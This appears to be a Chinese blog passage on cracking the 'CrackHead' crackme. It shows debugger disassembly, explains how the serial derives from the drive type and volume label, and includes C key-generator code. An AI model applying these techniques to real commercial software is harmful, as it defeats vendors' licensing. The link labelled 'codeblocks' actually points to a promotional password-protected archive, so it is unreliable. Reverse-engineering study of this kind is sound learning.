<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">hex_string</span><span class="p">,</span><span class="w"> </span><span class="n">_s_8_15</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">register_func</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="n">hex_string</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] half success!!! come on!!!</span><span class="se">\n\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 实现剩下的运算</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_24_31</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_16_23</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_8_15</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_0_7</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="c1">// 获取用户名的8~11并转换成整型数</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="mi">8</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] eax: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 获取用户名的12~15并转换成整型数</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">ebx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">extend_user_name</span><span class="p">,</span><span class="w"> </span><span class="mi">12</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"[*] ebx: %x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">ebx</span><span class="p">);</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">ebx</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">_TODO_counter</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="mh">0x40404040</span><span class="p">;</span>
<span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">&</span><span class="w"> </span><span class="mh">0x77777777</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_eax_bin_format</span><span class="p">[</span><span class="mi">32</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">itoa</span><span class="p">(</span><span class="n">eax</span><span class="p">,</span><span class="w"> </span><span class="n">_eax_bin_format</span><span class="p">,</span><span class="w"> </span><span class="mi">2</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">__eax_bin_format</span><span class="p">[</span><span class="mi">32</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">__eax_bin_format</span><span class="p">,</span><span class="w"> </span><span class="s">"%032s"</span><span class="p">,</span><span class="w"> </span><span class="n">_eax_bin_format</span><span class="p">);</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">index</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">CUM</span><span class="p">(</span><span class="s">"[+] this is the binary format of serial_8_11 ^ serial_12_15 result:</span><span class="se">\n\t</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="p">(;</span><span class="w"> </span><span class="n">index</span><span class="o"><</span><span class="mi">32</span><span class="p">;</span><span class="w"> </span><span class="n">index</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">__eax_bin_format</span><span class="p">[</span><span class="n">index</span><span class="p">]);</span>
<span class="w"> </span><span class="k">if</span><span class="p">((</span><span class="n">index</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">4</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">(</span><span class="n">index</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">!=</span><span class="mi">32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">CUM</span><span class="p">(</span><span class="s">" "</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="p">((</span><span class="n">index</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">8</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="p">(</span><span class="n">index</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">!=</span><span class="mi">32</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">CUM</span><span class="p">(</span><span class="s">"%% "</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">CUM</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">_s_8_11</span><span class="p">[</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">generate_random</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7E</span><span class="p">));</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"random char %s"</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">_s_8_11</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">generate_random</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7E</span><span class="p">));</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"random char %s"</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">_s_8_11</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">generate_random</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7E</span><span class="p">));</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"random char %s"</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">_s_8_11</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">sprintf</span><span class="p">(</span><span class="n">_tmp_val</span><span class="p">,</span><span class="w"> </span><span class="s">"%c"</span><span class="p">,</span><span class="w"> </span><span class="n">generate_random</span><span class="p">(</span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7E</span><span class="p">));</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"random char %s"</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">_s_8_11</span><span class="p">,</span><span class="w"> </span><span class="n">_tmp_val</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[*] generating random 4-len string: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_8_11</span><span class="p">);</span>
<span class="c1">// char _DEBUG_s_8_11[4+1] = "}3d7";</span>
<span class="c1">// strcpy(_s_8_11, _DEBUG_s_8_11);</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_s_8_11_hex_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">string_to_hex</span><span class="p">(</span><span class="n">_s_8_11</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="c1">// 根据汇编代码</span>
<span class="w"> </span><span class="c1">// eax = eax ^ s_8_11</span>
<span class="w"> </span><span class="c1">// eax = eax ^ s_12_15</span>
<span class="w"> </span><span class="c1">// eax == 0必须成立</span>
<span class="w"> </span><span class="c1">// 那么可以推导出 eax ^ s_8_11 == s_12_15</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"_s_8_11_hex_value: 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_8_11_hex_value</span><span class="p">);</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"eax: 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">eax</span><span class="p">);</span>
<span class="w"> </span><span class="n">_ui</span><span class="w"> </span><span class="n">_s_12_15_hex_value</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">eax</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="n">_s_8_11_hex_value</span><span class="p">;</span>
<span class="w"> </span><span class="n">FUCK</span><span class="p">(</span><span class="s">"_s_12_15_hex_value: 0x%X</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">_s_12_15_hex_value</span><span class="p">);</span>
<span class="w"> </span><span class="n">hex_string</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mi">4</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="mi">1</span><span class="o">==</span><span class="n">hex_to_string</span><span class="p">(</span><span class="n">_s_12_15_hex_value</span><span class="p">,</span><span class="w"> </span><span class="n">hex_string</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">serial_number</span><span class="p">[</span><span class="mi">16</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">serial_number</span><span class="p">,</span><span class="w"> </span><span class="n">_s_0_3</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">serial_number</span><span class="p">,</span><span class="w"> </span><span class="n">_s_4_7</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">serial_number</span><span class="p">,</span><span class="w"> </span><span class="n">_s_8_11</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcat</span><span class="p">(</span><span class="n">serial_number</span><span class="p">,</span><span class="w"> </span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] Name:</span><span class="se">\n\t</span><span class="s">%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">user_name</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"[+] Serial:</span><span class="se">\n\t</span><span class="s">%s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">serial_number</span><span class="p">);</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">((</span><span class="n">c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">getchar</span><span class="p">())</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">EOF</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">c</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'\n'</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">hex_string</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="o">**</span><span class="w"> </span><span class="n">argv</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="sc">'q'</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">main_call</span><span class="p">())</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>Crackme之CrackHead注册机2022-05-09T00:00:00+02:002022-05-09T00:00:00+02:0012138tag:None,2022-05-09:crackmezhi-crackheadzhu-ce-ji.html<p>references:</p>
<ul>
<li><a href="https://bbs.pediy.com/thread-21378.htm">https://bbs.pediy.com/thread-21378.htm</a></li>
</ul>
<p><a href="http://144.34.164.217/crackmezhi-crackheadpo-jie-liu-cheng.html">上回我们说到CrackHead的注册机编写</a>,但是由于触及到了我的知识盲区nobordeintlinerfuckbunsetiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JnBNSuYKcZ.jpg">,所以就暂时放在那里没写</p>
<p>现在我知道了如何下内 …</p><p>references:</p>
<ul>
<li><a href="https://bbs.pediy.com/thread-21378.htm">https://bbs.pediy.com/thread-21378.htm</a></li>
</ul>
<p><a href="http://144.34.164.217/crackmezhi-crackheadpo-jie-liu-cheng.html">上回我们说到CrackHead的注册机编写</a>,但是由于触及到了我的知识盲区nobordeintlinerfuckbunsetiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga<img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JnBNSuYKcZ.jpg">,所以就暂时放在那里没写</p>
<p>现在我知道了如何下内存断点,那么问题就迎刃而解了</p>
<p>我们知道<code>0x40339C</code>这个地址决定了ESI的值,但是我们并不知道这块地址中的值是怎么来的,通过在这个地址下内存断点,可以定位到更改该内存内容的代码</p>
<p><img alt="1652062405363" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WNGMNjfzoK.jpg"></p>
<p>可以看到更改内存的代码位于ntdll内,这些都是系统代码,我们一路返回即可,最后定位到CrackHead的代码,在此下断点即可,此时内存断点就可以清除了,当然你不清除也没啥影响</p>
<p>我们只需要把这一部分代码搞明白就行了:</p>
<p><img alt="1652062405363" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/zYXIOEdZOs.jpg"></p>
<p>从倒数第三行可以看到,ESI的值被写入了<code>0x40339C</code>中,而EDI又是通过下面这一段循环代码计算出来的</p>
<div class="highlight"><pre><span></span><code><span class="err">0040143</span><span class="nf">E</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">FF</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EDI</span>
<span class="err">00401440</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="err">8</span><span class="nf">BC1</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">00401442</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">B1E</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">00401444</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">F7E3</span><span class="w"> </span><span class="no">MUL</span><span class="w"> </span><span class="no">EBX</span>
<span class="err">00401446</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">03</span><span class="nf">F8</span><span class="w"> </span><span class="no">ADD</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">00401448</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">49</span><span class="w"> </span><span class="nf">DEC</span><span class="w"> </span><span class="no">ECX</span>
<span class="err">00401449</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">83</span><span class="nf">F9</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="mi">0</span>
<span class="err">0040144</span><span class="nf">C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">F2</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.00401440</span>
</code></pre></div>
<p>首先EDI被清空,然后进行循环,循环次数为ECX的值,EAX被初始化为ECX的值,在这段循环代码中,我们只需要知道ESI、ECX、EBX的值即可计算出EDI的值</p>
<div class="highlight"><pre><span></span><code><span class="err">00401431</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">D35</span><span class="w"> </span><span class="mi">9</span><span class="no">C334000</span><span class="w"> </span><span class="no">LEA</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">40339</span><span class="no">C</span><span class="p">]</span>
<span class="err">00401437</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">0</span><span class="nf">FB60D</span><span class="w"> </span><span class="no">EC33400</span><span class="err">></span><span class="no">MOVZX</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">4033</span><span class="no">EC</span><span class="p">]</span>
</code></pre></div>
<p>从这两行代码我们可以知道ESI的值为<code>x040339C</code>,那么EBX的值就是内存地址为<code>0x40339C</code>处的内容,ECX的值为内存地址<code>0x4033EC</code>处的内容</p>
<p>这上面有一条指令可能大家之前没有见过,就是<code>MOVZX</code>(move with zero-extend),该指令跟MOV差不多,就是高位补0而已</p>
<p>比方说你把一个16位的值通过<code>MOVZX</code>指令放到EAX(32bit)中,那么MOVZX会自动将EAX的高16bit置0</p>
<p>再往上看</p>
<div class="highlight"><pre><span></span><code><span class="err">0040140</span><span class="nf">C</span><span class="w"> </span><span class="err">/</span><span class="no">$</span><span class="w"> </span><span class="mi">60</span><span class="w"> </span><span class="no">PUSHAD</span>
<span class="err">0040140</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; /RootPathName = NULL</span>
<span class="err">0040140</span><span class="nf">F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">E8</span><span class="w"> </span><span class="no">B4000000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="err"><</span><span class="no">JMP.</span><span class="err">&</span><span class="no">KERNEL32.GetDriveTypeA</span><span class="err">></span><span class="w"> </span><span class="c1">; \GetDriveTypeA</span>
<span class="err">00401414</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">A2</span><span class="w"> </span><span class="no">EC334000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">4033</span><span class="no">EC</span><span class="p">],</span><span class="no">AL</span>
<span class="err">00401419</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">6</span><span class="nf">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; /pFileSystemNameSize = NULL</span>
<span class="err">0040141</span><span class="nf">B</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; |pFileSystemNameBuffer = NULL</span>
<span class="err">0040141</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; |pFileSystemFlags = NULL</span>
<span class="err">0040141</span><span class="nf">F</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; |pMaxFilenameLength = NULL</span>
<span class="err">00401421</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">6</span><span class="nf">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; |pVolumeSerialNumber = NULL</span>
<span class="err">00401423</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">6</span><span class="nf">A</span><span class="w"> </span><span class="mi">0</span><span class="no">B</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="no">B</span><span class="w"> </span><span class="c1">; |MaxVolumeNameSize = B (11.)</span>
<span class="err">00401425</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">68</span><span class="w"> </span><span class="err">9</span><span class="nf">C334000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">CrackHea.0040339C</span><span class="w"> </span><span class="c1">; |VolumeNameBuffer = CrackHea.0040339C</span>
<span class="err">0040142</span><span class="nf">A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">6</span><span class="no">A</span><span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="c1">; |RootPathName = NULL</span>
<span class="err">0040142</span><span class="nf">C</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">E8</span><span class="w"> </span><span class="no">A3000000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="err"><</span><span class="no">JMP.</span><span class="err">&</span><span class="no">KERNEL32.GetVolumeInformation</span><span class="err">></span><span class="c1">; \GetVolumeInformationA</span>
</code></pre></div>
<p>第一行的PUSHAD指令意为push all general-purpose register,就是把所有通用寄存器压栈</p>
<p>这一段代码其实就是两个系统函数的调用</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypea">GetDriveTypeA</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationa">GetVolumeInformationA</a></li>
</ul>
<p>下面这行代码将<code>GetDriveTypeA</code>的返回值放到了地址为<code>0x4033EC</code>的内存中</p>
<div class="highlight"><pre><span></span><code><span class="err">00401414</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">A2</span><span class="w"> </span><span class="no">EC334000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">4033</span><span class="no">EC</span><span class="p">],</span><span class="no">AL</span>
</code></pre></div>
<p>因为该函数的返回值最大值为6,所以AL(8bit)就足够存放返回值了</p>
<p>然后是<code>GetVolumeInformationA</code></p>
<div class="highlight"><pre><span></span><code><span class="err">00401425</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">68</span><span class="w"> </span><span class="err">9</span><span class="nf">C334000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">CrackHea.0040339C</span><span class="w"> </span><span class="c1">; |VolumeNameBuffer = CrackHea.0040339C</span>
</code></pre></div>
<p>这个是该函数的第二个参数,根据文档,该参数为传出参数,存放的是卷标的名称,之前之所以测了好几台机器都是一样的注册码,就是因为那几台机器都没有卷标</p>
<p>卷标就是这个东西,是用户自己设置的,默认是没有的</p>
<p><img alt="1652062405363" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/KWmPfIYIJB.jpg"></p>
<p>那么现在我们现在就已经获取到了所有需要的变量的值了,写出对应的C代码计算出序列号就完事了</p>
<p>编写思路如下:</p>
<p><u>ECX的初始值,0x4033EC指针的值我们已经拿到了,就是GetDriveType的返回值</u></p>
<p><u>EBX的初始值,0x40339C指针的值,这个值我们也有,就是GetVolumeInformation的传出参数VolumeName的值</u></p>
<p><u>EAX = ECX</u></p>
<p><u>EBX = VolumeName前四个字节(由于小端序的原因,需要进行翻转(高位在高址))</u></p>
<p><u>EAX=EAX*EBX EDX存放高32位,EAX存放低32bit 本次计算与EDX无关,我们只需要低32bit的值就行了</u></p>
<p><u>EDI=EDI+EAX EDI初始值为0</u></p>
<p><u>ECX用于循环计数</u></p>
<p>我直接用<a href="https://gitee.com/wochinijiamile/smartya/blob/master/%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E3%80%8A%E6%88%91%E5%90%83%E4%BD%A0%E5%AE%B6%E7%B1%B3%E4%BA%86%E3%80%8B%E5%90%8E%E5%8F%B0%E5%9B%9E%E5%A4%8Dnb%E8%8E%B7%E5%8F%96%E5%AF%86%E7%A0%81.7z">codeblocks</a>编译的</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
